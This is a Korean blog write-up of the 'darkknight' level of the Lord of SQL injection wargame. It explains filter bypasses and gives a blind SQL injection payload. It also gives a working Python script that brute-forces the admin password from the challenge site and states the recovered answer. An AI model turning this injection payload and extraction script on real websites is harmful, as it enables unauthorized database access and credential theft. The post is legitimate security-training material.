티스토리 뷰
마흔여덟 번째 글.
1. 코드 분석
single qutoe, substr, ascii, = 를 필터링하고 있었으며 admin의 pw를 찾아야지 문제가 풀린다.
2. Exploit
single quote가 필터링되고 있고 파라미터 no가 single quote로 감싸져 있지 않기 때문에 이쪽을 이용해야 한다.
substr -> mid
ascii -> ord
= -> like
?no=1000 or id like(char(97,100,109,105,110)) and 1 like(if(ord(mid(pw,인덱스,1))like(비교값),1,0))%23
위에 처럼 사용하면 된다.
문제를 처음 풀 때 약간 이상했다. 분명 pw의 길이는 8글자가 맞는데 계속 7자리만 나오는 것이다...
확인해보니 우연한 건지 의도인지 모르겠지만 guest와 admin의 pw의 8번째 문자가 같아서
계속 'Hello guest'가 출력된 것이었다. 그렇기 때문에 id가 admin이라는 것을 명시해줄 필요가 있었다.
import requests
sess = requests.session()
headers = {'Cookie': 'PHPSESSID=YOURSESSID'}
password_length = 0
password = ''
## get password length
for i in range(100):
url = f"https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1 or length(pw)like({i})%23"
res = sess.get(url, headers=headers)
if('Hello admin' in res.text and i !=4):
print('Password length is ', i)
password_length = i
break
## get password
for i in range(password_length+1):
for j in range(32, 127):
url = f"https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1000 or id like(char(97,100,109,105,110)) and 1 like(if(ord(mid(pw,{i},1))like({j}),1,0))%23"
res = sess.get(url, headers=headers)
if('Hello admin' in res.text):
password = password+chr(j)
print(password)
break
print("Password is " + password)
코드를 돌려보면 admin의 pw는 '0b70ea1f'이다.
'writeup > LOS' 카테고리의 다른 글
[Lord of SQL injection] assassin (0) | 2021.07.15 |
---|---|
[Lord of SQL injection] bugbear (0) | 2021.07.13 |
[Lord of SQL injection] golem (0) | 2021.07.11 |
[Lord of SQL injection] vampire (0) | 2021.07.10 |
[Lord of SQL injection] troll (0) | 2021.07.10 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- hack the box
- Windows Fundamentals
- LFI vulnerability
- 드림핵 DOM XSS
- 웹해킹
- csp
- htb
- hackerfactory
- csp bypass
- Lord of SQL injection
- SQL Injection
- xxe injection
- webhacking.kr
- 해커팩토리
- DreamHack
- 드림핵
- blind injection
- dreamhack web-alasql
- php LFI
- WebHacking
- dreamhack CSS Injection
- CSS Injection
- dreamhack Relative Path Overwrite
- dreamhack DOM XSS
- htb Windows Fundametals
- dreamhack padding oracle
- 드림핵 Relative Path Overwrite
- wargame
- alasql
- 드림핵 padding oracle
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
글 보관함